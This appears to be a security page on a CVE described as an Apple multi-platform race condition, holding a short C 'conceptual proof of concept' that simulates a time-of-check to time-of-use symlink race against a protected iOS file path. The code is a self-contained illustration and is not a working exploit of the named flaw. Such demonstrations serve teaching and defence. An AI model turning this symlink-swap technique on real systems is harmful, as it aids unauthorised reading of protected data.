CVE-2026-28996 Apple多平台竞态条件漏洞

/* * Conceptual Proof of Concept for Race Condition (CVE-2026-28996) * This C code simulates a Time-of-Check to Time-of-Use (TOCTOU) race condition. * It is intended for educational purposes to demonstrate the vulnerability mechanism. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/stat.h> #include <fcntl.h> #define TARGET_FILE "/tmp/sensitive_data" #define LINK_DEST "/private/var/mobile/Library/Sensitive/secret.txt" // Attacker thread function to exploit the race window void* race_exploit(void* arg) { while (1) { // Attempt to swap the file after the check but before the open unlink(TARGET_FILE); symlink(LINK_DEST, TARGET_FILE); usleep(100); // Tuning the timing to hit the race window } return NULL; } int main() { pthread_t attacker_thread; // Start the racing thread if (pthread_create(&attacker_thread, NULL, race_exploit, NULL) != 0) { perror("Failed to create thread"); return 1; } // Simulate the vulnerable application logic while (1) { struct stat st; // 1. Check: Verify if the file exists and is safe (e.g., owned by app) if (lstat(TARGET_FILE, &st) == 0) { // Assume check passes here // Short delay to increase the chance of hitting the race window // In a real vuln, this might be a context switch or heavy computation usleep(50); // 2. Use: Open the file int fd = open(TARGET_FILE, O_RDONLY); if (fd >= 0) { // If successful, we might have opened a symlinked protected file printf("[+] Potential exploit success! File descriptor opened: %d\n", fd); // In a real scenario, read data here close(fd); break; } } } // Cleanup pthread_cancel(attacker_thread); pthread_join(attacker_thread, NULL); return 0; }